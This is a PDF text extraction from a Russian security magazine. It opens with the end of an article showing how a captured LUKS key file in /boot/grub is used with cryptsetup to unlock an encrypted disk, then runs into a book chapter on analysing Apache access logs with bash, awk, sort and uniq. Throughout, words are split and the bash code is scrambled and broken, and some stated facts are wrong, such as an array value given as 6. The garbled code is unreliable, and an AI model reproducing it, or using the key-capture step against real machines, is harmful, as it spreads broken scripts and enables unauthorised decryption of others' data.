Пол ный порядок. Про верим, работа ет ли наш ключ, пред варитель но дуб лируя
его, ина че при сле дующей записи он запишет сам себя в 0 байт:

# cp /boot/grub/.captured_key /boot/grub/.captured_key_use
# cryptsetup ‐‐key‐file /boot/grub/.captured_key_use luksOpen /dev/
sdb1 db

Ус пешный перех ват клю ча

ИТОГ
По пуляр ность  LUKS  дела ет  его  инте рес ной  мишенью  для  хакеров.  Если
сущес тву ет  воз можность  внед рить ся  в  сис тему,  то  шиф рование  может
не спас ти, что мы сегод ня и про демонс три рова ли.

mailto:me@n0a.pw
https://github.com/lhost/pkg-cryptsetup-debian/blob/master/debian/askpass.c
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ВЗЛОМ

Как  работать  с  боль шими  объ ема ми  дан ных,  не  имея
под  рукой  ничего,  кро ме  коман дной  стро ки?  Про ана лизи‐ 
ровать  боль шие  объ емы  дан ных  час то  помога ет  поиск,
который  по  мере  пос тупле ния  новых  дан ных  сле дует  пос‐ 
тоян но  уточ нять  и  огра ничи вать.  В  этой  гла ве  в  качес тве
вход ных дан ных для наших сце нари ев мы возь мем информа‐ 
цию  из  жур налов  веб‐сер вера. Одна ко  сце нарии  и  методы
мож но  лег ко  изме нить  для  работы  с  дан ными  прак тичес ки
любого типа.

О книге
Пе ред тобой седь мая гла ва из кни ги «Bash и кибер‐ 
безопас ность: ата ка, защита и ана лиз из коман дной
стро ки Linux», которую мы пуб лику ем по догово рен‐ 
ности  с  изда тель ством  «Питер».  Ее  авто ры —  Пол
Трон кон  и  Карл  Олбинг,  а  ори гинал  был  издан
O’Reilly.

Нес мотря на то что пер вые две гла вы этой кни ги
зна комят  читате ля  с  прин ципами  коман дных интер‐ 
пре тато ров в целом и bash в час тнос ти, это ско рее
пособие  для  тех,  кто  уже  зна ком  с  осно вами.  Если
чувс тву ешь,  что  пла ваешь  в  теме,  то  луч ше  пос‐ 
мотри,  к  при меру,  «Прог рам мное  окру жение  Unix»
Брай ана Кер нигана и Роба Пай ка.

За то  если  ты  уже  име ешь  некото рый  опыт  работы  с  bash,  то  эта  кни га
поможет зак репить и усо вер шенс тво вать навыки. В ней ты най дешь мно жес‐ 
тво при емов, которые не толь ко хороши сами по себе, но и учат поль зовать ся
стан дар тны ми  ути лита ми Unix  и  Linux  для  дос тижения  самых раз нооб разных
целей.

Че го ты здесь не най дешь — это отсы лок к готовым прог рам мкам и скрип‐ 
там,  которые  рас ширя ют  воз можнос ти  сис темы  и  во  мно жес тве  водят ся
как на GitHub, так и в репози тори ях пакетов Linux. Вмес то это го авто ры кни ги
намерен но  исполь зуют  стан дар тные  ути литы,  которые  вхо дят  в  любую Unix‐
образную сис тему еще с  вось мидеся тых  годов. Нап ример, мало  кто  сей час
зна ет, как поль зовать ся дедов ским awk. Но в этом одновре мен но и зак люча‐ 
ется  глав ная  пре лесть  этой  кни ги  —  она  опи рает ся  на  про верен ные  вре‐ 
менем мощ ные средс тва, которые ты точ но най дешь в любой сис теме.

Не  сто ит  так же  ожи дать,  что  «Bash  и  кибер безопас ность»  смо жет  пос‐ 
лужить хакер ским пособи ем. Нас тупатель ной кибер безопас ности здесь пос‐ 
вящено,  по  сути,  все го  две  гла вы. В одной  авто ры показы вают,  как  соз дать
фаз зер парамет ров прог раммы, во вто рой раз бира ют устрой ство обратно го
шел ла.

За то  здесь  в  под робнос тях  рас смат рива ется  сбор  и  ана лиз  логов,
монито ринг фай ловой сис темы, про вер ка фай лов на вирусы, работа с поль‐ 
зовате лями и груп пами и про чие вещи, которые чаще нуж ны защит никам, чем
напада ющим.  Одна ко  пен тестер  тоже  най дет  здесь  полез ные  вещи  и  рас‐ 
ширит  репер туар  при емов.  В  некото рых  слу чаях  воз можность  обхо дить ся
без вспо мога тель ных ути лит может ока зать ся кри тич ной в подоб ной работе.

В  целом  мож но  ска зать,  что  «Bash  и  кибер безопас ность»  —  это  кни га
о  воз можнос тях  bash,  про иллюс три рован ная  при мера ми,  боль шая  часть
которых  —  из  области  информа цион ной  безопас ности.  Она  поможет  тебе
наладить  близ кие  отно шения  с  коман дной  обо лоч кой  Linux  и  ути лита ми
из  стан дар тно го  набора  и  научит  решать  слож ные  задачи  в  тру‐юник совом
сти ле.

ИСПОЛЬЗУЕМЫЕ КОМАНДЫ
Для сор тиров ки и огра ниче ния отоб ража емых дан ных вос поль зуем ся коман‐ 
дами  ,   и  . Работу с ними про демонс три руем на фай ле из при‐ 
мера 7.1.

sort head uniq

Пример 7.1. file1.txt
 

 

 12/05/2017 192.168.10.14 test.html
12/30/2017 192.168.10.185 login.html

sort
Ко ман да  sort  исполь зует ся  для  сор тиров ки  тек сто вого  фай ла  в  чис ловом
и  алфа вит ном  поряд ке.  По  умол чанию  стро ки  будут  упо рядо чены  по  воз‐ 
раста нию:  сна чала  циф ры,  затем  бук вы.  Бук вы  вер хне го  регис тра,  если
не  ука зано ина че, будут идти рань ше соот ветс тву ющих букв ниж него регис‐ 
тра.

Общие параметры команды
 — сор тировать по убы ванию.• ­r

 — игно риро вать регистр.• ­f

  —  исполь зовать  чис ловой  порядок:  1,  2,  3  и  до  10  (по  умол чанию
при сор тиров ке в алфа вит ном поряд ке 2 и 3 идут пос ле 10).

• ­n

 — сор тировать на осно ве под мно жес тва дан ных (клю ча) в стро ке. Поля
раз деля ются про бела ми.

• ­k

 — записать вывод в ука зан ный файл.• ­o

Пример команды
Для сор тиров ки фай ла   по стол бцу, в котором ука зано имя фай ла,
и  игно риро вания  стол бца  с  IP‐адре сом  необ ходимо  исполь зовать  сле‐ 
дующую коман ду:

file1.txt

 sort ‐k 3 file1.txt 

Мож но  так же выпол нить сор тиров ку по под мно жес тву поля. Для сор тиров ки
по вто рому окте ту IP‐адре са напиши те сле дующее:

 sort ‐k 2.5,2.7 file1.txt 

Бу дет  выпол нена  сор тиров ка  пер вого  поля  с  исполь зовани ем  сим волов
от 5 до 7.

uniq
Ко ман да  uniq  поз воля ет  отфиль тро вать  пов торя ющиеся  стро ки  с  дан ными,
которые встре чают ся друг рядом с дру гом. Что бы уда лить в фай ле все пов‐ 
торя ющиеся  стро ки,  перед  исполь зовани ем  коман ды  uniq  файл  нуж но
отсорти ровать.

Общие параметры команды
 — вывес ти, сколь ко раз пов торя ется стро ка.• ­с

  —  перед  срав нени ем  про игно риро вать  ука зан ное  количес тво  полей.
Нап ример, параметр   поз воля ет не при нимать во вни мание в каж дой
стро ке пер вые три поля. Поля раз деля ются про бела ми.

• ­f

­f 3

 — игно риро вать регистр букв. В uniq регистр сим волов по умол чанию
учи тыва ется.

• ­i

ОЗНАКОМЛЕНИЕ С ЖУРНАЛОМ ДОСТУПА К ВЕБ-СЕРВЕРУ
Для  боль шинс тва  при меров  в  этой  гла ве  мы  исполь зуем  жур нал  дос тупа
к веб‐сер веру Apache. В жур нал это го типа записы вают ся зап росы стра ницы,
сде лан ные к веб‐сер веру, вре мя, ког да они были сде ланы, и имя того, кто их
сде лал.  Обра зец  типич ного  фай ла  ком биниро ван ного  фор мата  жур нала
(Combined  Log  Format)  Apache  мож но  уви деть  в  при мере  7.2.  Пол ный
лог‐файл, который был исполь зован в этой кни ге, называ ется access.log.

Пример 7.2. Фрагмент файла access.log
 

 

192.168.0.11 ‐ ‐ [12/Nov/2017:15:54:39 ‐0500] "GET /request‐quote.html 
HTTP/1.1" 200 7326 "http://192.168.0.35/support.html" "Mozilla/5.0 (Win‐
dows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

INFO

Жур налы  веб‐сер вера  исполь зуют ся  прос то
в  качес тве  при мера.  Методы,  опи сан ные  в  этой
гла ве,  мож но  при менять  для  ана лиза  раз личных
типов дан ных.

По ля жур нала веб‐сер вера Apache опи саны в таб лице.

Су щес тву ет вто рой тип жур нала дос тупа Apache, извес тный как обыч ный фор‐ 
мат жур нала  (Common Log Format). Фор мат сов пада ет  с  ком биниро ван ным,
за  исклю чени ем  того,  что  не  содер жит  полей  для  ссы лающей ся  стра ницы
или  аген та  поль зовате ля.  Допол нитель ную  информа цию  о  фор мате  и  кон‐ 
фигура ции жур налов Apache мож но получить 

.
на сай те про екта Apache HTTP

Server
Ко ды  сос тояния,  упо мяну тые  в  таб лице  (поле  9),  поз воля ют  узнать,

как веб‐сер вер отве тил на любой зап рос.

WWW

  мож но  най ти  в  реес тре
кодов сос тояния про токо ла переда чи гипер тек ста
(HTTP).

Пол ный  спи сок  кодов

СОРТИРОВКА И УПОРЯДОЧЕНИЕ ДАННЫХ
При  пер вичном  ана лизе  дан ных  в  боль шинс тве  слу чаев  полез но  начинать
с рас смот рения экс тре маль ных зна чений: какие события про исхо дили наибо‐ 
лее  или  наиме нее  час то,  самый  малень кий  или  самый  боль шой  объ ем
передан ных  дан ных  и  т.  д.  Нап ример,  рас смот рим  дан ные,  которые  мож но
соб рать  из  фай лов  жур нала  веб‐сер вера.  Необыч но  боль шое  количес тво
обра щений  к  стра ницам  может  ука зывать  на  активное  ска ниро вание
или попыт ку отка за в обслу жива нии. Необыч но боль шое количес тво бай тов,
заг ружен ных  хос том,  может  ука зывать  на  то,  что  дан ный  сайт  кло ниру ется
или про исхо дит эксфиль тра ция дан ных.

Что бы управлять рас положе нием и отоб ражени ем дан ных, ука жите в кон це
коман ды  ,   и  :sort head tail

   2.1   |   ... | sort ‐k ‐rn head ‐15

При  этом  выход ные  дан ные  сце нария  переда ются  коман де  ,  а  затем
отсорти рован ный  вывод  нап равля ется  коман де  ,  которая  напеча‐ 
тает  15  вер хних  (в  дан ном  слу чае)  строк.  Коман да    в  качес тве  сво его
клю ча сор тиров ки  ( ) исполь зует вто рое поле, начиная с его пер вого сим‐ 
вола  (2.1).  Более  того,  эта  коман да  выпол нит  обратную  сор тиров ку  ( ),
а зна чения будут отсорти рова ны в чис ловом поряд ке  ( ). Почему чис ловой
порядок? Потому  что  2  отоб ража ется меж ду  1  и  3,  а  не меж ду  19  и  20  (как
при сор тиров ке в алфа вит ном поряд ке).

sort
head
sort

‐k
‐r

‐n

Ис поль зуя коман ду  , мы зах ватыва ем пер вые стро ки вывода. Мы мог‐ 
ли  бы  получить  пос ледние  нес коль ко  строк,  переда вая  вывод  из  коман ды

 коман де   вмес то  . Исполь зование коман ды   с опци ей 
выведет  пос ледние 15  строк. Дру гой  спо соб отсорти ровать  дан ные по  воз‐ 
раста нию, а не по убы ванию — уда лить параметр  .

head

sort tail head tail ‐15

‐r

ПОДСЧЕТ КОЛИЧЕСТВА ОБРАЩЕНИЙ К ДАННЫМ
Ти пич ный жур нал веб‐сер вера может содер жать десят ки тысяч записей. Под‐ 
счи тывая, сколь ко раз стра ница была дос тупна, и узна вая, по какому IP‐адре‐ 
су она была дос тупна, вы можете получить луч шее пред став ление об общей
активнос ти  сай та.  Далее  при водят ся  записи,  на  которые  сле дует  обра тить
вни мание.

Боль шое количес тво зап росов, воз вра щающих код сос тояния 404 («Стра‐ 
ница  не  най дена»)  для  кон крет ной  стра ницы.  Это  может  ука зывать
на нерабо тающие гипер ссыл ки.

•

Мно жес тво  зап росов  с  одно го  IP‐адре са,  воз вра щающих  код  сос‐ 
тояния 404. Это может озна чать, что выпол няет ся зон дирова ние в поис ках
скры тых или нес вязан ных стра ниц.

•

Боль шое количес тво зап росов, в час тнос ти с одно го и того же IP‐адре са,
воз вра щающих  код  сос тояния  401  («Не  авто ризо ван»).  Это  может  сви‐ 
детель ство вать о попыт ке обхо да аутен тифика ции, нап ример о перебо ре
паролей.

•

Что бы  обна ружить  такой  тип  активнос ти,  нам  нуж но  иметь  воз можность
извле кать  клю чевые  поля,  нап ример  исходный  IP‐адрес,  и  под счи тывать,
сколь ко раз они появ ляют ся в фай ле. Поэто му для извле чения поля мы вос‐ 
поль зуем ся  коман дой  ,  а  затем  переда дим  вывод  в  наш  новый  инс тру‐ 
мент, файл  , показан ный в при мере 7.3.

cut
countem.sh

При мер 7.3. countem.sh
 declare ‐A cnt        # assoc. array             # <1>

while read id xtra                               # <2>
do

cnt[   let  $id]++                               # <3>
done
# now display what we counted
# for each key in the (key, value) assoc. array

 for id in "${!cnt[@]}"                           # <4>
do

        printf '%s %d\n' "$id" "${cnt[$id]}"         # <5>
done

 Пос коль ку мы не  зна ем,  с  какими  IP‐адре сами  (или дру гими стро ками)
можем  стол кнуть ся,  будем  исполь зовать  ассо циатив ный  мас сив  (так же
извес тный  как  хеш‐таб лица  или  сло варь).  В  этом  при мере  мас сив  задан
с парамет ром  , который поз волит нам исполь зовать любую стро ку в качес‐ 
тве нашего индекса.

<1>

–A

Фун кция  ассо циатив ного  мас сива  пре дус мотре на  в  bash  вер‐ 
сии 4.0 и выше. В таком мас сиве индекс не обя затель но дол жен быть чис лом
и может быть пред став лен в виде любой стро ки. Таким обра зом, вы можете
индекси ровать  мас сив  по  IР‐адре су  и  под счи тывать  количес тво  обра щений
это го  IР‐адре са. В  слу чае  если  вы  исполь зуете  вер сию прог раммы стар ше,
чем  bash  4.0,  аль тер нативой  это му  сце нарию  будет  сце нарий,  показан ный
в при мере 7.4. Здесь вмес то ассо циатив ного мас сива исполь зует ся коман да

.awk
В  bash  для  ссы лок  на  мас сив,  как  и  для  ссы лок  на  эле мент  мас сива,

исполь зует ся син таксис  . Что бы получить все воз можные зна‐ 
чения  индекса  (клю чи,  если  эти  мас сивы  рас смат рива ются  как  пара  «ключ/
зна чение»), ука жите  .

${var[index]}

${!cnt[@]}
  Хотя  мы  ожи даем  в  стро ке  толь ко  одно  сло во  вво да,  добавим

перемен ную  ,  что бы  зах ватить  любые  дру гие  сло ва,  которые  появят ся
в  стро ке.  Каж дой  перемен ной  в  коман де    прис ваивает ся  соот ветс тву‐ 
ющее сло во из вход ных дан ных (пер вая перемен ная получа ет пер вое сло во,
вто рая перемен ная — вто рое сло во и т. д.). При этом пос ледняя перемен ная
получа ет  все  оставши еся  сло ва.  С  дру гой  сто роны,  если  в  стро ке  вход ных
слов  мень ше,  чем  перемен ных  в  коман де  ,  этим  допол нитель ным
перемен ным прис ваивает ся пус тая стро ка. Поэто му в нашем при мере, если
в  стро ке  вво да  есть  допол нитель ные  сло ва,  они  все  будут  прис воены
перемен ной  . Если же нет допол нитель ных слов, перемен ной   будет
прис воено зна чение null.

<2>

xtra
read

read

xtra xtra

 Стро ка исполь зует ся в качес тве индекса и уве личи вает его пре дыду‐ 
щее  зна чение.  При  пер вом  исполь зовании  индекса  пре дыду щее  зна чение
не будет уста нов лено и он будет равен 6.

<3>

  Дан ный  син таксис  поз воля ет  нам  переби рать  все  раз личные  зна‐ 
чения индекса. Обра тите вни мание: нель зя гаран тировать, что при сор тиров‐ 
ке  мы  получим  алфа вит ный  или  какой‐то  дру гой  кон крет ный  порядок.
Это объ ясня ется при родой алго рит ма хеширо вания зна чений индекса.

<4>

 При выводе зна чения и клю ча мы помеща ем зна чения в кавыч ки, что‐ 
бы  всег да  получать  одно  зна чение  для  каж дого  аргу мен та,  даже  если  оно
содер жит  один  или  два  про бела.  Мы  не  дума ем,  что  такое  про изой дет
при работе это го сце нария, но подоб ная прак тика кодиро вания дела ет сце‐ 
нарии более надеж ными при исполь зовании в раз личных ситу ациях.

<5>

В  при мере  7.4  показа на  дру гая  вер сия  сце нария,  с  исполь зовани ем
коман ды  .awk

Пример 7.4. countem.awk
 awk '{ cnt[$1]++ }

END { for (id in cnt) {
 printf "%d %s\n", cnt[id], id
}

Оба сце нария будут хорошо работать в кон вей ере команд:

   cut ‐d' ' ‐f1 logfile | bash countem.sh 

Ко ман да   на самом деле здесь не нуж на ни для одной из вер сий. Почему?
Потому  что  сце нарий    явно  ссы лает ся  на  пер вое  поле  ( ),  а  то,  что
коман да   в сце нарии обо лоч ки не нуж на, объ ясня ется кодиров кой коман‐ 
ды   (см.  ). Так что мы можем запус тить сце нарий сле дующим обра‐ 
зом:

cut
awk $1

cut
read <5>

bash countem.sh < logfile 

Нап ример,  что бы  под счи тать,  сколь ко  раз  IP‐адрес  делал  НТТР‐зап рос,
на  который  воз вра щалось  сооб щение  об  ошиб ке  404  («Стра ница  не  най‐ 
дена»), нуж но ввес ти такую коман ду:

 

 

 

$ awk '$9 == 404 {print $1}' access.log | bash countem.sh

 
 

1 192.168.0.36
2 192.168.0.37
1 192.168.0.11

Вы  так же  можете  исполь зовать  коман ду    и  передать
дан ные  сце нарию  .  Но  в  этом  слу чае  будут  вклю чены  стро ки,
в  которых сочета ние цифр 404 будет най дено и в дру гих мес тах  (нап ример,
чис ло бай тов или часть пути к фай лу). Коман да awk ука зыва ет под счи тывать
толь ко те стро ки, в которых воз вра щаемый ста тус (поле 9) равен 404. Далее
будет  выведен  толь ко  IР‐адрес  (поле  1),  а  вывод  нап равит ся  в  сце нарий

,  с  помощью  которо го мы получим общее  количес тво  зап росов,
сде лан ных IР‐адре сом и выз вавших ошиб ку 404.

grep  404  access.log
countem.sh

countem.sh

Сна чала про ана лизи руем обра зец фай ла  . Начать ана лиз сле‐ 
дует  с  прос мотра  узлов,  которые  обра щались  к  веб‐сер веру.  Вы  можете
исполь зовать коман ду cut опе раци онной сис темы Linux, с помощью которой
будет  извле чено  пер вое  поле  фай ла  жур нала,  где  содер жится  исходный
IР‐адрес. Затем сле дует  передать  выход ные дан ные сце нарию  .
Пра виль ная коман да и ее вывод показа ны здесь:

access.log

countem.sh

 

 

 

$ cut ‐d' ' ‐f1 access.log | bash countem.sh | sort ‐rn

 
 
 
 

111 192.168.0.37
55 192.168.0.36
51 192.168.0.11
42 192.168.0.14
28 192.168.0.26

Ес ли у вас нет дос тупно го сце нария  , для дос тижения ана логич‐ 
ных резуль татов мож но исполь зовать коман ду   с парамет ром  . Но для
кор рек тной  работы  пред варитель но  пот ребу ется  допол нитель но  отсорти‐ 
ровать дан ные.

countem.sh
uniq ‐c

 

 

 

$ cut ‐d' ' ‐f1 access.log | sort | uniq ‐c | sort ‐rn

 
 
 
 

111 192.168.0.37
55 192.168.0.36
51 192.168.0.11
42 192.168.0.14
28 192.168.0.26

Вы  можете  про дол жить  ана лиз,  обра тив  вни мание  на  хост  с  наиболь шим
количес твом зап росов. Как вид но из пре дыду щего кода,  таким хос том явля‐ 
ется  IP‐адрес 192.168.0.37, номер которо го — 111. Мож но исполь зовать 
для филь тра ции  по  IP‐адре су,  что бы  затем  извлечь  поле,  содер жащее  зап‐ 
рос, передать его коман де   и, наконец, передать вывод сце нарию 

, который и выдаст общее количес тво зап росов для каж дой стра ницы:

awk

cut coun‐
tem.sh

 

 

 

$ awk '$1 == "192.168.0.37" {print $0}' access.log | cut ‐d' ' ‐f7 | 
bash countem.sh

 
 

 
 

 

1 /uploads/2/9/1/4/29147191/31549414299.png?457
14 /files/theme/mobile49c2.js?1490908488
1 /cdn2.editmysite.com/images/editor/theme‐background/stock/iPad.html
1 /uploads/2/9/1/4/29147191/2992005_orig.jpg
...
14 /files/theme/custom49c2.js?1490908488

Ак тивность это го кон крет ного хос та не впе чат ляет и напоми нает стан дар тное
поведе ние бра узе ра. Если вы пос мотри те на хост со сле дующим наиболь шим
количес твом зап росов, то уви дите неч то более инте рес ное:

 

 

 

$ awk '$1 == "192.168.0.36" {print $0}' access.log | cut ‐d' ' ‐f7 | 
bash countem.sh

 
 

 
 

 

1 /files/theme/mobile49c2.js?1490908488
1 /uploads/2/9/1/4/29147191/31549414299.png?457
1 /_/cdn2.editmysite.com/.../Coffee.html
1 /_/cdn2.editmysite.com/.../iPad.html
...
1 /uploads/2/9/1/4/29147191/601239_orig.png

Этот вывод ука зыва ет, что хост 192.168.0.36 получил дос туп чуть ли не к каж‐ 
дой стра нице сай та толь ко один раз. Дан ный тип активнос ти час то ука зыва ет
на  активность  веб‐ска нера  или  кло ниро вание  сай та.  Если  вы  пос мотри те
на стро ку поль зователь ско го аген та, то уви дите допол нитель ное под твержде‐ 
ние это го пред положе ния:

 

 

 

$ awk '$1 == "192.168.0.36" {print $0}' access.log | cut ‐d' ' ‐f12‐17 | 
uniq

"Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)

Агент  поль зовате ля  иден тифици рует  себя  как  .  Это  инс тру мент,
который  мож но  исполь зовать  для  заг рузки  или  кло ниро вания  сай тов.  Хотя
этот  инс тру мент  не  обя затель но  при носит  вред,  во  вре мя  ана лиза  сто ит
обра тить на него вни мание.

HTTrack

WWW

•До пол нитель ная информа ция о HTTrack

СУММИРОВАНИЕ ЧИСЕЛ В ДАННЫХ
Что  делать,  если  вмес то  того,  что бы  под счи тывать,  сколь ко  раз  IP‐адрес
или  дру гие  эле мен ты  обра щались  к  опре делен ным  ресур сам,  вы  хотите
узнать  общее  количес тво  бай тов,  отправ ленных  по  IP‐адре су,  или  то,  какие
IP‐адре са зап росили и получи ли боль ше все го дан ных?

Ре шение  мало  чем  отли чает ся  от  сце нария  .  Вне сите  в  этот
сце нарий  нес коль ко  неболь ших  изме нений.  Во‐пер вых,  вам  нуж но  так  нас‐ 
тро ить  вход ной филь тр  (коман да  ),  что бы  из  боль шого  количес тва  стол‐ 
бцов извле кались два стол бца:  IP‐адрес и счет чик бай тов, а не толь ко стол‐ 
бец с  IP‐адре сом. Во‐вто рых, сле дует изме нить вычис ление с при раще нием
( )  на  прос той  счет,  что бы  сум мировать  дан ные  из  вто рого
поля ( ).

countem.sh

cut

let  cnt[$id]++
let cnt[$id]+= $data

Те перь  кон вей ер  будет  извле кать  два  поля  из фай ла  жур нала —  пер вое
и пос леднее:

   cut ‐d' ' ‐f 1,10 access.log | bash summer.sh 

Сце нарий summer.sh, показан ный в при мере 7.5, чита ет дан ные из двух стол‐ 
бцов.  Пер вый  стол бец  сос тоит  из  зна чений  индекса  (в  дан ном  слу чае  IP‐
адре сов), а вто рой стол бец — это чис ло (в дан ном слу чае количес тво бай тов,
отправ ленных по  IP‐адре су).  Каж дый раз,  ког да  сце нарий находит  в  пер вом
стол бце пов торя ющий ся IP‐адрес, он добав ляет зна чение из вто рого стол бца
к  обще му  количес тву  бай тов  для  это го  адре са,  сум мируя  таким  обра зом
количес тво бай тов, отправ ленных этим IP‐адре сом.

Пример 7.5. summer.sh
   cnt declare ‐A # ассоциативный массив

while read id count 
do

cnt[ + let  $id] =$count
done

 for id in "${!cnt[@]}"
do

        printf "%‐15s %8d\n" "${id}" "${cnt[${id}]}" # <1>
done

  Обра тите  вни мание,  что  в фор мат  вывода мы  внес ли  нес коль ко  изме‐ 
нений. К раз меру поля мы добави ли 15 сим волов для пер вой стро ки (дан ные
IP‐адре са,  в  нашем при мере),  уста нови ли  вырав нивание  по  левому  краю  (с
помощью  зна ка  минус)  и  ука зали  восемь  цифр  для  зна чений  сум мы.  Если
сум ма ока жет ся боль ше,  то будет выведе но боль шее чис ло, если же стро ка
ока жет ся длин нее, то она будет напеча тана пол ностью. Это сде лано для того,
что бы  выров нять  дан ные  по  соот ветс тву ющим  стол бцам:  так  стол бцы  будут
акку рат ными и более читабель ными.

<1>

Для получе ния пред став ления об общем объ еме дан ных, зап рашива емых
каж дым  хос том,  мож но  в  сце нарии    запус тить  файл  .
Для это го исполь зуйте коман ду  , которая извле чет IP‐адрес и передан ные
бай ты полей, а затем передай те вывод в сце нарий  :

summer.sh access.log
cut

summer.sh

 

 

 

$ cut ‐d' ' ‐f1,10 access.log | bash summer.sh | sort ‐k 2.1 ‐rn

 
 
 
 

192.168.0.36 4371198
192.168.0.37 2575030
192.168.0.11 2537662
192.168.0.14 2876088
192.168.0.26 665693

Эти резуль таты могут быть полез ны для выяв ления хос тов, которые переда ли
необыч но  боль шие  объ емы  дан ных  по  срав нению  с  дру гими  хос тами.
Всплеск может ука зывать на кра жу дан ных и эксфиль тра цию. Ког да такой хост
будет  опре делен,  нуж но  прос мотреть  кон крет ные  стра ницы  и  фай лы,
к  которым он обра щал ся,  что бы попытать ся  клас сифици ровать  его  как  вре‐ 
донос ный или безопас ный.

Продолжение статьи →

https://www.piter.com/
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/access.log
https://httpd.apache.org/docs/2.4/logs.html
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/countem.sh
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/countem.awk
http://www.httrack.com/
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/summer.sh


АНАЛИЗ ДАННЫХ
В LINUX
ГЛАВА ИЗ КНИГИ

«BASH И КИБЕРБЕЗОПАСНОСТЬ»

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОТОБРАЖЕНИЕ ДАННЫХ В ВИДЕ ГИСТОГРАММЫ
Мож но  выпол нить  еще  одно  дей ствие,  обес печив  более  наг лядное  отоб‐ 
ражение получен ных резуль татов. Вы можете взять вывод сце нария 
  или    и  передать  его  в  дру гой  сце нарий,  который  будет  соз‐ 

давать гис тограм му, отоб ража ющую резуль таты.

countem.
sh summer.sh

Сце нарий, выпол няющий печать, будет при нимать пер вое поле в качес тве
индекса  ассо циатив ного  мас сива,  а  вто рое  поле  —  в  качес тве  зна чения
для  это го  эле мен та  мас сива.  Затем  сле дует  перес мотреть  весь  мас сив
и рас печатать нес коль ко хеш тегов для пред став ления самого боль шого чис‐ 
ла в спис ке (при мер 7.6).

Пример 7.6. histogram.sh
function pr_bar ()                         # <1>
   local ‐i i raw maxraw scaled             # <2>
 raw=$1
 maxraw=$2
  raw((scaled=(MAXBAR* )/maxraw))           # <3>
 # гарантированный минимальный размер
  raw   0   0     1   (( > && scaled == )) && scaled= # <4>
  0  i++          for((i= ; i<scaled; )) ; do printf '#' ; done

  printf '\n'
 } # pr_bar

#
# "main"
#

   RA declare ‐A
 declare ‐i MAXBAR max                      # <5>

0 max=
50 MAXBAR= # размер самой длинной строки

while read labl val 
do

RA[ let  $labl]=$val                       # <6>
 # сохранить наибольшее значение; для масштабирования
   val   max     (( > )) && max=$val
done
# масштабировать и вывести

labl   for  in "${!RA[@]}"                    # <7>
do

    printf '%‐20.20s ' "$labl"
  pr_bar ${RA[$labl]} $max                 # <8>

done

 Мы опре деля ем фун кцию,  с  помощью  которой нарису ем один  стол бец
гис тограм мы.  Опре деле ние  дол жно  находить ся  перед  самой  фун кци ей,
поэто му име ет смысл помес тить все опре деле ния фун кций в начале нашего
сце нария.  Дан ная  фун кция  в  будущем  сце нарии  будет  исполь зована  пов‐ 
торно,  поэто му  ее  мож но  помес тить  в  отдель ный  файл  и  под клю чать
с помощью коман ды source. Но мы сде лали по‐дру гому.

<1>

  Мы  объ явля ем  все  эти  перемен ные  локаль ными,  так  как  не  хотим,
что бы  они  мешали  опре деле нию  имен  перемен ных  в  осталь ной  час ти  дан‐ 
ного  сце нария  (или  любых  дру гих,  если  мы  копиру ем/встав ляем  этот  сце‐ 
нарий для исполь зования в дру гом мес те). Мы объ явля ем все эти перемен‐ 
ные целыми чис лами (это параметр  ), потому что будем вычис лять  толь ко
целые зна чения и не ста нем исполь зовать стро ки.

<2>

‐i

  Вычис ление  выпол няет ся  в  двой ных  скоб ках.  Внут ри  них  не  нуж но
исполь зовать сим вол   для ука зания зна чения каж дого име ни перемен ной.

<3>

$
 Это опе ратор  . Если выраже ние внут ри двой ных ско бок рав но

true, то тог да и толь ко тог да выпол няет ся вто рое выраже ние. Такая конс трук‐ 
ция гаран тиру ет, что если исходное зна чение не рав но нулю, то мас шта биро‐ 
ван ное зна чение никог да не будет рав но нулю.

<4> if‐less

  Основная  часть  сце нария  начина ется  с  объ явле ния    как  ассо‐ 
циатив ного мас сива.

<5> RA

  Здесь  мы  ссы лаем ся  на  ассо циатив ный  мас сив,  исполь зуя  мет ку
стро ки в качес тве его индекса.

<6>

 Пос коль ку мас сив не индекси рует ся по чис лам, мы не можем прос то
счи тать целые чис ла и исполь зовать их в качес тве индексов. Эта конс трук ция
опре деля ет  все  раз личные  стро ки,  которые  исполь зовались  в  качес тве
индекса мас сива, по одно му индексу в цик ле  .

<7>

for
  Мы  еще  раз  исполь зуем  мет ку  как  индекс,  что бы  получить  счет чик

и передать его как пер вый параметр нашей фун кции  .
<8>

pr_bar
Об ратите  вни мание,  что  эле мен ты  отоб ража ются  не  в  том  поряд ке,  что

и вход ные дан ные. Это свя зано с тем, что алго ритм хеширо вания для клю ча
(индекса)  не  сох раня ет  порядок.  Вы  можете  упо рядо чить  этот  вывод
или исполь зовать дру гой под ход.

При мер  7.7  пред став ляет  собой  вер сию  сце нария  для  пос тро ения  гис‐ 
тограм мы — в нем сох раня ется пос ледова тель ность вывода и не исполь зует‐ 
ся ассо циатив ный мас сив. Это так же может быть полез но для ста рых вер сий
bash (до 4.0), в которых ассо циатив ный мас сив еще не исполь зовал ся. Здесь
показа на  толь ко основная часть сце нария,  так  как фун кция   оста ется
преж ней.

pr_bar

Пример 7.7. histogram_plain.sh
 declare ‐a RA_key RA_val                   # <1>
 declare ‐i max ndx 

0 max=
50 maxbar= # размер самой длинной строки

0 ndx=
while read labl val 
do
 RA_key[$ndx]=$labl                       # <2>
 RA_value[$ndx]=$val
 # сохранить наибольшее значение; для масштабирования
   val   max     (( > )) && max=$val
 let ndx++ 
done
# масштабировать и вывести

  0  j++for ((j= ; j<ndx; ))                    # <3>
do

    printf "%‐20.20s " ${RA_key[$j]}
  pr_bar ${RA_value[$j]} $max

done

Эта  вер сия  сце нария  поз воля ет  избе жать  исполь зования  ассо циатив ных
мас сивов  (нап ример,  в более ста рых  вер сиях bash или  в  сис темах macOS).
Здесь мы при меня ем два отдель ных мас сива: один для индек сно го зна чения
и один — для счет чиков. Пос коль ку это обыч ные мас сивы, мы дол жны исполь‐ 
зовать целочис ленный индекс и будем вес ти прос той под счет в перемен ной

.ndx
 Здесь име на перемен ных объ явля ются как мас сивы. Строч ная   ука‐ 

